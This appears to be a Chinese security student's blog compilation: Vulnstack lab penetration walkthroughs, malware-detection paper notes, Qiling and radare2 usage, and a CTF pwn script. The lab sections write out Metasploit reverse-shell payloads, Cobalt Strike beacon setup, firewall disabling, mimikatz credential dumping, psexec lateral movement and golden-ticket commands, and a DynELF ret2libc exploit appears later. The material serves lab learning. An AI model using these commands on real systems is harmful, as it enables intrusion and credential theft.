靶机看答案渗透记录-2

参考资料 https://cyzcc.vip/2020/07/14/Vulnstack%E4%BA%8C/

靶场地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

按照靶机说明把攻击机和WEB,PC放在同一网段内,WEB,PC,DC有私有网段

管理员域\账户/密码是 DE1AY\Administrator/1qaz@WSX

WEB机在C:\Oracle\Middleware\user_projects\domains\base_domain中有个startWebLogic,以管理员身份运行

PC,WEB机计算机右键->管理->配置->服务->Server, Workstation, Computer Brower全部启动

外网渗透

  1. nmap扫一下对应网段,得到靶机地址,得到开放端口。有个7001端口,无论搜端口还是搜服务信息都是WebLogic。

  2. 使用WebLogicscan进行扫描

    1
    python3 WebLogicscan.py -u ip -p 7001

    搜索到一个JAVA反序列化漏洞CVE-2019-2725

    网上查找漏洞利用信息,找到一个msf模块 exploit/multi/misc/weblogic_deserialize_asyncresponseservice

    https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-2725

  3. 利用模块,需要设置target,LHOST,RHOSTS,可以使用show options,show targets查看相关选项

  4. 获取到了shell

ctrl+z可以放后台

内网渗透

cabaltstrike工具的使用

  1. 建立teamserver ./teamserver 本机IP 连接密码
  2. 启动cabaltstrike客户端,需要java8。连接teamserver。
  3. 工具栏有个耳机图标,单击然后建立一个新的监听,监听4445端口

msf进行如下操作

  1. use exploit/windows/local/payload_inject
  2. set payload windows/meterpreter/reverse_http
  3. set DisablePayloadHandler true
  4. set lhost ip
  5. set lport 4445
  6. set session 1
  7. exploit

这时再查看CS,已经连接上靶机了

右键进入beacon界面即可执行命令(右键->interact)

要执行shell命令直接在命令之前加shell,如shell dir

  1. 创建监听器用于木马回连

  2. Attacks->Packages->Windows Executable根据靶机类型勾选生成木马

  3. 在msf session中使用upload命令上传

    sessions 2

    upload /home/kali/Downloads/artifact.exe C:\Oracle\Middleware\user_projects\domains\base_domain\artifact.exe

  4. execute命令执行木马,-H 不可见,-i交互

    execute -H -i -f artifact.exe

  5. 凭证获取

    在木马连接右键->access->dump hashes

    右键->access->run mimikatz

    再点击凭证信息

提权

右键->Access->提权Elevate

ms14-058

成功提升为system权限

域信息搜集

  1. 获取当前组名 shell net view 需关闭靶机防火墙,否则出错

    第一种 msf> run post/windows/manage/enable_rdp
    第二种 菜刀命令输入 netsh advfirewall set allprofiles state off

  2. 查看所有域 net view /domain

  3. 查看IP信息 ipconfig /all

  4. 查看域名 shell net config workstation

  5. 查看域内机器IP

    net view

  6. 查询域控机器

    shell net group “Domain Controllers” /domain

  7. 查询域管理员

    shell net group “domain admins” /domain

psexec 传递

传递登陆的概念

获取凭据后对模板网段进行活端口检测,因为是传递登陆,多以仅需检测445端口

portscan ip网段 端口 协议 线程

portscan 10.10.10.0/24 445 arp 200

view->Targets查看端口探测后的存活主机

新建Listener,Payload选择windows/beacon_smb/bind_pipe

存活主机右键->Login->psexec,选择之前后去的凭据信息,选择Listener以及主机Session

使用相同的方法让PC上线

权限维持

在域控中获取KRBTGT账户NTLM密码hash和SID hashdump

黄金票据

WEB机Administrator ->右键-> Access->Golden Ticket

总结

域是Windows管理本地网络的一组计算机,是Windows网络中的独立运行的单位

域管理员可以设置组策略,域成员会统一应用这一组策略。可以统一安装软件,统一配置计算机

只有Windows专业版和企业版可以连接到域

域控制器(DC)是域中负责控制的计算机,负责验证连入域网络计算机的验证工作,至少一台

域环境中也有DNS,DNS负责支持DC,也负责帮助人找到DC

域内计算机之间建立了信任关系,在域内访问其它机器,无需再被许可

AD域

工作组

工作组中的每一台计算机独立管理自己资源,无法统一管理资源;一个账户只能登陆一台计算机;计算机之间是平等的;每一个计算机都在本地存储用户账户;规模一般小于10台计算机

黄金票据

认证过程中,client与Kerberos服务器(Access Server)同心会得到TGT,带着TGT请求TGS,得到票据ticket,就可以访问应用服务器。

黄金票据就是自己生成的TGT,生成过程中user,domain,timestamp和权限会经过krbtgt账户hash加密,所以有这些信息就可以生成票据。krbtgt账户不自动更新的,krbtgt需要域管理权限。有了黄金票据,就免除了向AS验证用户名和密码的阶段。

winlogin.exe 接收用户名,密码,域信息,传递给lsass.exe

lsass.exe 把经过kerberos处理的用户名密码域SAM进行对比验证,返回结果

SAM数据库 存储账号和密码hash的数据库

NetLogin 域认证加密信道

查看域

1
systeminfo

查看账号信息簇,生成,导入都需要mimikatz

检验缓存票据

1
klist

利用票据访问

1
net use \\xx.domain-name

白银票据

是伪造的TGS,只能访问特定的服务器

使用mimikatz生成,导入,管理等

mimikatz

可以从lsass.exe处获取账号密码,或从文件中找到密码哈希值

设置特权 privilege::debug

获取本机用户名,口令,sid等,导出域 sekurlsa::logonpasswrods

获得域控权限 需要ms14-068漏洞 ms14-068 -u -p -s -d

生成缓存,导入伪造缓存 kerberos::ptc test.cache

登陆:net use 导入的缓存

导出lsass.dump sekurlsa::minidump lsass.dump
sekurlsa::logonPasswords full

导出所有用户口令 lsadump::sam SYSTEM.hiv SAM.hiv

net use \A-635ECAEE64804.TEST.LOCAL mimikatz /user:test

生成黄金票据

kerberos::golden /user:Administrator /domain:test.local/sid:S-1-5-21-2848411111-3820811111-1717111111/krbtgt:d3b949b1f4ef947820f0950111111111 /ticket:test.kirbi

??刷新扫雷记录? minesweeper::Infos

参考:https://www.jianshu.com/p/a3ddd7502c09

app行为的语义提取方案读论文笔记

语义提取首先要定义语义,比如说一个软件的行为有无恶意,有恶意和无恶意就是语义。然后才可以在软件中提取信息,整合信息,判断是否具有这些语义。或者可以判断两个软件是否具有相同语义。

1

基于语义的恶意代码行为特征提取及检测方法

恶意代码总是会有各种混淆以干扰分析,并且还会有变种。比如说插入垃圾行为,插入垃圾代码。这时如果从一个更高的抽象层次去分析,就可以抵抗这些干扰。于是就引入了语义特征分析。

现有的分析方法难于抵抗代码混淆,特征库庞大,在于分析方案无法分析出恶意代码的根本意图

这篇论文的参考资料8-10是行为语义相关的。

主要通过数据依赖和控制依赖,行为图构建,语义特征分析来分析恶意代码的行为,主要阐述了语义无关和语义等价两类混淆技术。

先进行动态污点传播分析

然后是行为依赖图的构建:

  1. 行为依赖图初始化为空
  2. 遇到产生污点的关键系统调用,添加节点
  3. 遇到新的系统调用时,如果传入参数包含污点数据,则将其添加为节点
    • 这里注意通过DFA将系统调用序列等价为某一个系统调用
  4. 依赖图的添加是通过添加新节点时回溯计算污点传播过程完成的
    对于控制流转移的问题,采用递归下降反汇编算法
  5. 当污点漂白或恶意代码执行结束,行为图构建结束

语义等价通过等价库解决,语义无关有相应的提取方案。

对于语义无关调用,通过污点分析分析相关调用对系统的状态是否产生影响,系统状态定义为操作系统的完整性和数据安全性。语义无关系统调用在行为图中定义为没有使系统状态产生改变的节点;将循环替换为一次执行信息

最后构建一个恶意代码行为图特征库,匹配系统调用,边,节点,并且为不同的匹配元素设置不同的权值,最后一个加权平均获得最后的[0,1]的值,并且涉资一个阈值,超过阈值就认为是恶意代码。

阈值设置是基于实验结果的。

通过对行为层混淆技术的分析,我们从语义角度将其分为语义无关调用插入和语义等价调用变换两类.语义无关调用插入是指恶意代码中常加入一些与其意图无关没有无实际作用的系统调用,目的是改变代码特征,我们从语义角度将其称为语义无关调用.语义等价调用变换主要是指通过等价系统调用替换、循环变换等方式改变执行行为的系统调用序列,从而改变特征.等价系统调用序列是指行为相同的不同系统调用序列,将其互相替换,便可在不改变行为的前提下改变特征.循环变换即指改变操作粒度,将同样的行为分割为不同循环而产生不同图特征的混淆方式.这两种混淆方法的共同特点是,在保持恶意代码行为意图即代码语义的条件下,通过等价替换改变特征,我们将此类变换统称为语义等价调用变换

7-10参考资料可能有语义分析

[7] Sathyanarayan VS, Kohli P, Bruhadeshwar B. Signature generation and detection of malware families. In: Proc. of the 13th
Austalasian Conf. on Information Security and Privacy. Wollongong, 2008. 336−349. [doi: 10.1007/978-3-540-70500-0_25]
[8] Christodorescu M, Jha S, Seshia SA, Song DX, Bryant RE. Semantics-Aware malware detection. In: Proc. of the 2005 IEEE Symp.on Security and Privacy. 2005. 32−46. [doi: 10.1109/SP.2005.20]
[9] Preda MD, Christodorescu M, Jha S, Debray S. A semantics-based approach to malware detection. In: Proc. of the Symp. onPrinciples of Programming Languages. New York: ACM Press, 2007. 377−388. [doi: 10.1145/1190216.1190270]
[10] Kinder J, Katzenbeisser S, Schallhart C, Veith H. Detecting malicious code by model checking. In: Proc. of the 2nd Int’l Conf. onIntrusion and Malware Detection and Vulnerability Assessment (DIMVA 2005). LNCS 3548, Vienna: Springer-Verlag, 2005.174−187. [doi: 10.1007/11506881_11]

2

https://xueshu.baidu.com/usercenter/paper/show?paperid=dd2172d9cc4bf41dbc92641acce1ea1a&site=xueshu_se

Android系统下混淆恶意软件的检测研究

基于source-sink的语义特征的提取与加工处理:从程序中提取从source到sink的数据流,使用自定义的处理器进行处理,产生最终的特征

source即敏感信息,sink即将敏感信息泄露的API调用。然后进行格式化,找到恶意软件家族最常用的特征。

API调用的语义特征,权限,linux命令

flowdroid提取source-sink流,apktool提取权限特征

后面是用机器学习的方式进行分类的

3

因为看到前面的方案都有污点分析的方法,所以找了找污点分析的文献综述

污点分析技术的原理和实践应用
https://xueshu.baidu.com/usercenter/paper/show?paperid=be0648c3bf970bf4977b893e2089f8d7&site=xueshu_se

之前看过的,介绍了污点分析的现状,相关工具,分类,静态污点分析和动态污点分析的优缺点

4

A Semantics-Based Approach to Malware Detection

这篇文章认为识别恶意软件的关键在于语义

后面没看懂了

5

Sentics-Aware Malware Detection

定义一系列的模板,如果目标代码和已定义的模板,存在一个内存上下文,在这个内存上下文相同的情况下,对内存的影响相同,则目标代码和模板由相同的语义。模板是由自定义的语言写成的,这样就忽略了平台差异

模板中的代码,在一定的状态下,产生一系列的系统调用称为事件

定义J为一个恶意软件家族所具有的所有行为的模板集合,如果一个程序包含这个集合中的所有行为,则这个程序有恶意行为

模板匹配程序

模板T的一个节点m和程序P的一个节点n

  • 节点匹配:如果有函数f,f(m)=n,则说这两个节点匹配,比如说图中的4和7节点
  • 边匹配:点匹配完成之后,需要确定节点中的变量在节点指令执行完成之后值是否相同

6

Semantics-Aware Android Malware Classification Using Weighted Contextual API Dependency Graphs

使用Weighted Contextual API Dependency Graphs(WC-ADG)描述APP的行为

带有权值和上下文的API依赖图

API依赖:展示应用如何与Android框架交互

上下文:在调用API时上下文

常量:攻击者一般把窃取到的数据发送到指定的位置,所以和调用API有关的常量值得注意
API依赖图不精确匹配,因为不同的API(甚至带常量的和不带常量的)对系统安全性的影响不同,所以对于不同的API应该赋予不同的权值

形式化定义:WC-ADG G=(V,E,$\alpha$,$\beta$),API操作$\Sigma$,权值空间$W$
符号|含义
–|–
$V$|API操作,也就是点
$E$|API之间的关联,也就是边
$\Sigma$|带有上下文的API操作
$\alpha$|把点对应到$\Sigma$中的一个元素
$\beta$|为每一个点赋权值
例子

生成图的步骤

  1. 发现入口,入口分为被用户察觉和不被用户察觉。并且入口发现之后就可以找到参数,关联等
  2. 分析数据流,交叉引用分析

探测步骤

  1. 生成图,然后根据已有的软件的图(没有恶意行为的)判断相似度,如果相似率小于0.3,则判断为不正常
  2. 异常行为探测
  3. 训练分类器
    1. 建立已有软件图的数据库,包括恶意/非恶意软件的一些小行为,移除了恶意软件和非恶意软件共有的行为
    2. 给定一个待测软件,生成它的功能向量,向量的每一个元素代表数据库中的一个图,元素值代表和该图的相似度

7

Detecting Malicious Code by Model Checking

把控制流模型化为一个带标签的有限图

麒麟框架使用--官方示例

安装

1
sudo pip3 install qiling

另外如果需要在windows上面执行Linux程序的话,需要copy windows的dll到linux,并且需要写一个登记

官方文档说明:
https://docs.qiling.io/en/latest/install/

对于常用dll,直接执行examples/scripts/dllcollector.bat就可以copy了

  1. 在linux上面模拟windows执行环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14

from qiling import *

# sandbox to emulate the EXE
def my_sandbox(path, rootfs):
# setup Qiling engine
ql = Qiling(path, rootfs)
# now emulate the EXE
ql.run()

if __name__ == "__main__":
# execute Windows EXE under our rootfs
my_sandbox(["examples\\rootfs\\x86_windows\\bin\\x86_hello.exe"], "examples/rootfs/x86_windows")

  1. patch程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from qiling import *

def force_call_dialog_func(ql):
# get DialogFunc address
lpDialogFunc = ql.unpack32(ql.mem.read(ql.reg.esp - 0x8, 4))
# setup stack memory for DialogFunc
ql.stack_push(0)
ql.stack_push(1001)
ql.stack_push(273)
ql.stack_push(0)
ql.stack_push(0x0401018)
# force EIP to DialogFunc
ql.reg.eip = lpDialogFunc


def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs)
# NOP out some code
ql.patch(0x004010B5, b'\x90\x90')
ql.patch(0x004010CD, b'\x90\x90')
ql.patch(0x0040110B, b'\x90\x90')
ql.patch(0x00401112, b'\x90\x90')
# hook at an address with a callback
ql.hook_address(force_call_dialog_func, 0x00401016)
ql.run()


if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
  1. 模拟gdbserver

演示程序地址
https://github.com/mzfr/ctf-writeups/tree/master/xiomara-2019/Reversing/Elf_basic

1
2
3
4
5
6
from qiling import *

if __name__=='__main__':
ql = Qiling(['examples/rootfs/x8664_linux/bin/AnokhREV'],'examples/rootfs/x8664_linux',output='default')
ql.gdb = '0.0.0.0:9999'
ql.run()

这个例子不知道为何跑起来之后gdb并没有阻塞

  1. qltool例子

靶机看答案渗透记录-1

nmap扫不到,但是可以ping通= =

打开主页之后是phpstudy探针,按照官方文档关闭

然后访问,是个目录遍历漏洞= =

经过配置进入了主页

找到后台

发现系统是yxcms的,询问雪殇知道可以下载yxcms的源码审计,然后发现后台入口

尝试弱密码admin/123456可以登陆

后台操作

  1. 有个sql执行可以执行某些操作

  2. 修改首页模板,index.php可以添加一句话木马, 使用weevely访问失败,但是可以使用 AntSword 访问

  3. 有个gethash的工具可以获取windows上面密码的hash值,但是没下到
    网上找到一个渗透工具集,好家伙白嫖真爽

    pwdump也可以获取hash,获取到了hash

    1
    2
    3
    Administrator:500:NO PASSWORD*********************:31D6CFE0D16AE931B73C59D7E0C089C0:::
    Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
    liukaifeng01:1000:NO PASSWORD*********************:31D6CFE0D16AE931B73C59D7E0C089C0:::
  4. 虽然找到了hash值,但是没有找到密码

  5. 开启了3306端口,可以尝试连接,但是连接失败,不允许连接

  6. 使用msf生成木马

    1
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.117 lport=4444 -f exe -o /root/桌面/hakcer.exe

    kali下可以使用msfpc简化

    1
    sudo msfpc windows reverse eth1 4444
  7. msf使用exploit/multi/handler模块

    1
    2
    3
    set LPORT 4444
    set payload windows/meterpreter/reverse_tcp
    run

    上传生成的木马到靶机,执行,连接成功,执行sysinfo命令测试是否成功

  8. run vnc进行桌面监控

  9. run autoroute -s 192.168.52.1/24
    这条命令允许攻击机进入192.168.52.1/24子网

  10. arp -a查看域控成员

  11. 使用background把当前session保存至后台

  12. 扫描远端IP

    1
    2
    3
    use auxiliary/scanner/portscan/tcp
    set RHOSTS 192.168.52.141
    run
  13. 开放了445端口,ms17_010漏洞,大佬说蓝屏,还没试

  14. ms08_067攻击失败

  15. 再次连接win7,使用load mimikatz获得凭证

  16. getsystem命令 sysinfo命令 ps命令

  17. migrate命令,explorer为2872

  18. 之前load了mimikatz(kiwi)插件,然后执行creds_tspkg获取域控密码,新版本msf变了,遇事不决help

  19. 使用run post/windows/manage/enable_rdp开启windows的rdp远程桌面

  20. linux使用rdesktop连接,windows直接使用远程桌面连接
    用户名和密码为Administrator/hongrisec@2019

总结

  1. 知道系统相关信息之后可以下载相关源码进行审计发现漏洞。从而找到管理登陆页面,弱密码等
  2. pwdump可以获取windows的密码哈希值
  3. msfvenom可以生成木马,msfpc简化生成操作,木马连接到exploit/multi/handler
  4. run vnc用于监控桌面,远程桌面等
  5. run autoroute -s 192.168.52.1/24,这条命令允许攻击机进入192.168.52.1/24子网
  6. msf background把当前session保存至后台,sessions -l 列出所有session,sessions num切换至第num个session
  7. 使用auxiliary/scanner/portscan/tcp扫描对应网段的主机
  8. mimikatz插件用于获取登陆凭证,插件已经被替换为kiwi,使用help获取相关用法
  9. 使用run post/windows/manage/enable_rdp开启远程桌面
  10. Linux使用rdesktop,windows使用远程桌面连接远程桌面
  11. migrate命令进程迁移,让进程成为目标机器某个合法进程的子进程,比如说explorer.exe

两个漏洞

  1. msf17_010
  2. msf08_067
    都使用了445端口
    MS08-067漏洞原理分析及还原 - 乃逸夫的文章 - 知乎
    https://zhuanlan.zhihu.com/p/27155431

arch上使用qemu调试程序

  1. 安装gdb,qemu
1
sudo pacman -S gdb-multiarch gdb pwndbg qemu qemu-arch-extra
  1. 启动程序(以mips为例)
1
qemu-mips -g 2222 ./mx
  1. 启动gdb-multiarch
  2. set architecture mips
  3. target remote localhost:2222

每日读大佬jio本

itertools.permutations 返回对象的全排列,第二个参数指出数量
dedecms如果不允许上传文件会返回Upload filetype not allow !
post请求方式中带有_FILES[mochazz][tmp_name] 表示上传
adminer配置文件在common.inc.php
sql注入注释绕过//%0A select
哥斯拉的马

参考资料

[1] 记一次偶遇Adminer

使用dynelf泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

elf = ELF('./pwn')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
context.log_level='debug'
p = process('./pwn')
payload ='\x00'*7+p16(0xE7)
p.send(payload)
func_addr = 0x80487d0
write_addr = 0x8048578
pppr_addr = 0x080488f9
write_symbol = 0x8049FEC
// 需要可持续性的泄露
def leak(addr):
payload = 'a'*0xeb+p32(write_addr)+p32(pppr_addr)+p32(1)+p32(addr)+p32(4)+p32(func_addr)+'a'*4+p32(0xE7)
p.send(payload)
res = p.recv()[:4]
return res

p.recvuntil('Correct\n')
d = DynELF(leak,elf=elf)

sys_addr = d.lookup('system','libc')

binsh = d.lookup('str_bin_sh','libc')


payload = 'a'*0xeb+p32(sys_addr)+p32(0)+p32(binsh)

info("sys_addr: 0x%08x,binsh: 0x%08x",sys_addr,p64(0))
p.sendline(payload)

p.interactive()

radare2使用

radare2 nb!!!

介绍

radare2是类unix逆向框架和命令行工具箱

官方book

  • rax2 数值转换
  • rasm2 汇编和反汇编
  • rabin2 查看文件格式
  • radiff2 对文件进行diff
  • ragg2/ragg2cc 方便生成shellcode
  • rahash2 各种密码hash算法
  • radare2 整合上面工具

此外还有radare2其它的套件

使用方法

rax2

1
rax2 -h

里面说的很明白了

rasm2

1
2
3
4
5
6
7
8
9
10
rasm2 -L | grep head # 列出前几项支持的架构
rasm2 -a arm "nop;nop;nop" # -a用于指出架构类型
# 0000a0e10000a0e10000a0e1
rasm2 -a arm -d "0000a0e10000a0e10000a0e1" # -d用于指出反汇编操作
# mov r0, r0
# mov r0, r0
# mov r0, r0
rasm2 -a arm -b 64 "nop;nop;nop" # -b用于指出位数
# 1f2003d51f2003d51f2003d5
rasm2 -a arm -b 64 -d "1f2003d51f2003d51f2003d5" -r # -r表示在radare2中实现对应功能的命令

rabin2

1
2
3
4
5
6
rabin2 -I a.out # 显示文件信息
rabin2 -zz a.out # 显示文件中的字符串,包含utf-8等宽字符串
rabin2 -O? # 显示-O选项的帮助,-O用于更改文件属性
rabin2 -S a.out | grep text # -S用于显示文件属性
rabin2 -O p/.text/r a.out # 修改text段为只读
rabin2 -S a.out | grep text

radiff2

1
radiff2 -h

ragg2/ragg2cc

1
2
3
4
int main(){
write(1,"hi\n",3);
exit(0);
}
1
ragg2 -ax86 -b32 1.c

还可以编译.r文件(ragg2语言)

rahash2

1
2
rahash2 -h 
rahash2 -a md5 -s admin

radare2

1
2
r2 bin # 进入程序,-d进入debug模式
radare2 bin

指令格式

1
[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;

显示某一个指令的帮助

1
命令?

从当前位置打印十六进制

1
px
1
px @ main # 表示从main开始执行px,main也可以是地址

a进行分析,aaa进行完整分析,aaaa添加实验性特性
pdf打印函数代码

1
pdf @ main # 打印main函数的代码,main也可以是某个地址

radare2没识别的函数可以用af来识别

1
af @ addr 

s用于跳转到指定位置

pd用于打印汇编信息

pdc可以用于查看反编译代码

VV进入图形化模式

?用于显示帮助信息

可以发现键位是类似于vim的

p/P切换图形模式的显示模式

:输入命令,hjkl移动图形

!在调试时很有用,显示了各种信息

空格切换图形/文本模式

文本模式下可以用p来切换视图

r2patch程序

1
r2 -w bin # 以可写模式载入bin文件,或者r2内使用e io.cache=true

w系列用于patch文件

  • wa可以用于使用汇编指令patch文件,wa?查看帮助
  • wx用于十六进制patch

可视化patch
Vp,然后输入A就可以patch了

输入/ 用于搜索

ax用于管理交叉引用,/r 用于搜索

文档说$可以反编译,我没有= =

另外可以使用esil语言模拟执行

参考资料

[1] Radare2使用全解